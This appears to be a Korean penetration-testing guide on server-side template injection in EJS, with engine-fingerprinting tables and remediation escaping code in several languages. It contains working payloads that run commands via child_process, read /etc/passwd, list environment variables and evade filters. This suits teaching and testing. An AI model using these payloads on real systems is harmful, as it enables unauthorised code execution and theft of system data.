<%= 7*7 %>           →  49
<%= name.length %>   →  3

구분자는 엔진마다 다르다

엔진구분자주 사용 언어
Jinja2, Twig{{ }}Python, PHP
Handlebars, Mustache{{ }}JavaScript
EJS<% %>Node.js
FreeMarker, Thymeleaf${ }Java
Velocity$이름,#지시자Java
Razor@ASP.NET
Smarty{ }PHP

함수를 이용하여 템플릿을 만들 수도 있다

<% %> 안은 자바스크립트 문장이라 함수를 정의하고 부를 수 있다.

<% function double(n) { return n * 2 } %>
<%= double(21) %>
→  42

<% %> 으로 double 함수를 만든다. n 인자를 받아 2를 곱한 값을 return 으로 돌려주는 함수다. 다음 <%= %> 으로 위에서 만든 함수를 부르면서 21을 전달하면 결과로 42가 출력된다.

<% function greet(name) { return "안녕하세요, " + name + "님." } %>
<%= greet("홍길동") %> 
<%= greet("김철수") %>
→  안녕하세요, 홍길동님. 
→  안녕하세요, 김철수님.

한 번 만들어 두면 이름만 바꿔가며 여러 번 부를 수 있다.

원리

서버가 사용자 입력을 데이터가 아니라 템플릿 구문으로 처리할 때 취약점이 발생한다.

안전한 사용

템플릿은 개발자가 미리 작성해놓고, 사용자 입력은 데이터로만 넘긴다.

const template = '안녕하세요, <%= name %>님.';
ejs.render(template, { name: userInput });
userInput : <%= 7*7 %>
출력      : 안녕하세요, <%= 7*7 %>님.

번역이 먼저 끝나고 값은 나중에 채워진다. 입력에 구분자를 적어도 번역할 것이 남아 있지 않으니 입력된 글자 그대로 남는다.

취약한 사용

사용자 입력을 템플릿 자리에 그대로 넣는다.

ejs.render(userInput, {});
userInput : <%= 7*7 %>
출력      : 49

같은 입력인데 결과가 다르다. ejs.render() 의 인자 순서에 따라 취약하다. 첫 번째가 템플릿 자리, 두 번째가 데이터 자리다. 그래서 첫 번째 인자에 들어가게 된다면 템플릿으로 해석되어 코드가 실행되어 49가 출력이 된다.

점검

점검 대상 : 공지 문구 미리보기 /misc/preview

Step 1) 사용자 입력값이 서버 템플릿 엔진 내에서 처리되는지 확인하기 위해 {{7*7}} 등의 수식 삽입 시도

payload : <%= 7*7 %>

가이드 원문 페이로드는 {{7*7}} 이지만 본 시스템의 엔진은 EJS 라 반응하지 않는다. 구분자를 바꿔 가며 엔진을 먼저 판별해야 한다.

Step 2) 상위 컨텍스트 및 객체 접근을 시도하여 원격 코드 실행의 가능 여부를 판별하기 위하여 페이로드 입력 및 실행 유무 확인

payload : <%= JSON.stringify(Object.keys(locals)) %>
          <%= process.cwd() %>
          <%= process.version %>
          <%= process.mainModule.require("child_process").execSync("id") %>

추가 검증

엔진 판별 : 여러 구분자를 넣어 템플릿 엔진을 찾는다.

페이로드템플릿 엔진
<%= 7*7 %>EJS(Node.js), ERB(Ruby)
{{7*7}}Jinja2(Python), Twig(PHP)
${7*7}FreeMarker·Thymeleaf(Java), JSP EL
#{7*7}JSF EL(Java)
@(7*7)Razor(ASP.NET)

서버 정보 수집 : 실행이 확인되면 환경을 먼저 파악한다.

페이로드결과(설명)
<%= process.version %>v24.20.0
<%= process.cwd() %>/app
<%= Object.keys(process.env).join(",") %>서버에 설정된 환경변수 이름을 모두 나열한다
NODE_VERSION,HOSTNAME,YARN_VERSION,SHLVL,PORT,HOME,PATH,VULN_CONSOLE,PWD,HTTPS_ENABLED,NODE_ENV
<%= process.mainModule.require("fs").readdirSync("/app").join(",") %>fs모듈로/app 디렉터리의 파일·폴더 이름을 배열로 가져와 쉼표로 한 줄로 이어 붙인다
backup,certs,data,logs,node_modules,package-lock.json,package.json,src,tools,uploads
<%= process.mainModule.require("fs").readFileSync("/etc/passwd","utf8") %>fs 모듈로 지정한 파일을 읽어 화면에 출력한다
/etc/passwd파일의 내용이 출력된다

우회 변형

페이로드결과(설명)
<%- 7*7 %><%=를 막아도 <%- 으로 우회가 가능하다
<%= 7 * 7 %>글자 사이를 공백으로 우회가 가능하다
<%= global["pro"+"cess"].pid %>process키워드를 막아도 + 로 글자를 분리하여 우회가 가능하다
<%= process.mainModule["req"+"uire"]("os").hostname() %>점을 필터링을 할 때 괄호로 우회가 가능하다
<%= this.constructor.constructor("return pro"+"cess.pid")() %>this.constructor.constructorFunction 생성자다. 함수를 직접 생성하여 우회할 수도 있다.

조치 방안

  1. 템플릿 언어에서 예약된 의미를 가지는 문자({ } < > % # @ 등)에 대하여 이스케이프 처리
  2. 템플릿 엔진의 안전 모드를 사용함으로써 템플릿 내에서 실행할 수 있는 명령을 제한하여 임의 코드 실행 방지
  3. 안전 모드 및 내장 함수를 활용하여 보안 조치를 하는 경우 엔진의 버전과 그 버전에서 지원하는 기능을 고려하여 적절한 보안 패치 진행
  4. 에러 메시지를 통해 사용된 템플릿 언어 및 관련 취약점에 대한 유의미한 정보를 제공할 가능성이 존재하므로, 노출되는 에러 메시지를 제한
  5. 템플릿 엔진 내 사용되는 특수문자를 필터링하도록 웹 방화벽 룰셋 적용

※ Java 사용자 입력값 특수문자 인코딩 처리 예시

...
name = org.apache.commons.text.StringEscapeUtils.escapeHtml4(name); // 사용자 입력값 인코딩

// 사용자 입력값 이스케이프 처리
public static String escapeSpecialCharacters(String input) {
      if (input == null) return null;
      return input.replaceAll("([*{}\\[\\]<>%#@])", "\\\\$1");
}
...

※ Java(Velocity) 안전한 템플릿 사용 예시

...
#set($userInput = $esc.html($params.get("userInput")))
<p>사용자 입력: $userInput</p>
...

※ Java(FreeMarker) 안전한 템플릿 사용 예시

...
<p>사용자 입력: ${userInput?html}!</p>
...

ASP.NET 사용자 입력값 특수문자 인코딩 처리 예시

// 사용자 입력값 인코딩
...
private static readonly Dictionary<char, string> HtmlEntities = new Dictionary<char, string> {
      { '*', "&#42;" },
      { '{', "&#123;" },
      { '}', "&#125;" },
      { '[', "&#91;" },
      { ']', "&#93;" },
      { '<', "&lt;" },
      { '>', "&gt;" },
      { '%', "&#37;" },
      { '#', "&#35;" },
      { '@', "&#64;" }
};

public static string EscapeHtmlEntities(string input) {
      if (input == null) return null;
      StringBuilder escapedString = new StringBuilder();
      foreach (char ch in input) {
          if (HtmlEntities.ContainsKey(ch)) {
              escapedString.Append(HtmlEntities[ch]);
          } else {
              escapedString.Append(ch);
          }
      }
      return escapedString.ToString();
}
...

// 사용자 입력값 이스케이프 처리
public static string EscapeSpecialCharacters(string input) {
      if (input == null) return null;
      return Regex.Replace(input, @"([*{}\[\]<>%#@])", @"\$1");
}
...

※ Python 사용자 입력값 특수문자 인코딩 처리 예시

# 사용자 입력값 인코딩
def escape_html_entities(input_string):
      if input_string is None:
          return None
...
      html_entities = {
          '*': '&#42;',
          '{': '&#123;',
          '}': '&#125;',
          '[': '&#91;',
          ']': '&#93;',
          '<': '&lt;',
          '>': '&gt;',
          '%': '&#37;',
          '#': '&#35;',
          '@': '&#64;',
          ...
      }
      return ''.join(html_entities.get(char, char) for char in input_string)
...
# 사용자 입력값 이스케이프 처리
def escape_special_characters(input_string):
      if input_string is None:
          return None
      return re.sub(r'([*{}\[\]<>%#@])', r'\\\1', input_string)
...

※ Python(jinja2) 안전한 템플릿 사용 예시

사용자 입력을 직접 템플릿에 삽입하는 방식은 SSTI 취약점에 노출될 수 있으므로 사용자 입력을 템플릿 변수로 전달하는 방식을 사용하여 안전하게 처리

...
template = "userinput : {{ userinput }}"
return render_template_string(template, userinput=param)
...

※ PHP 사용자 입력값 특수문자 인코딩 처리 예시

...
function escape_html_entities($input_string) {
      if ($input_string === null) {
          return null;
      }

      $html_entities = [
          '*' => '&#42;',
          '{' => '&#123;',
          '}' => '&#125;',
          '[' => '&#91;',
          '<' => '&lt;',
          '>' => '&gt;',
          '%' => '&#37;',
          ...
      ];

      return strtr($input_string, $html_entities);
}

// 특수 문자 앞에 백슬래시를 추가하여 이스케이프 처리
function escape_special_characters($input_string) {
      if ($input_string === null) {
           return null;
      }
      return preg_replace('/([*{}\[\]<>%#@])/', '\\\\$1', $input_string);
}
...

// htmlspecialchars 함수를 이용하여 사용자 입력값을 HTML 인코딩
$userInput = htmlspecialchars($userInput ENT_QUOTES, 'UTF-8');
...